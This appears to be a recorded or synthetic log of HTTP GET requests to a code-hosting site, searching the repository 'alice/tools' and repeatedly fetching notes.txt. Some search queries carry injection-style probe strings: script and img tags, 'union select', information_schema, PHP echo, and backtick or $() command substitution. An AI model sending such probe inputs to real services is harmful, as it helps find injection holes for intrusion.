+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
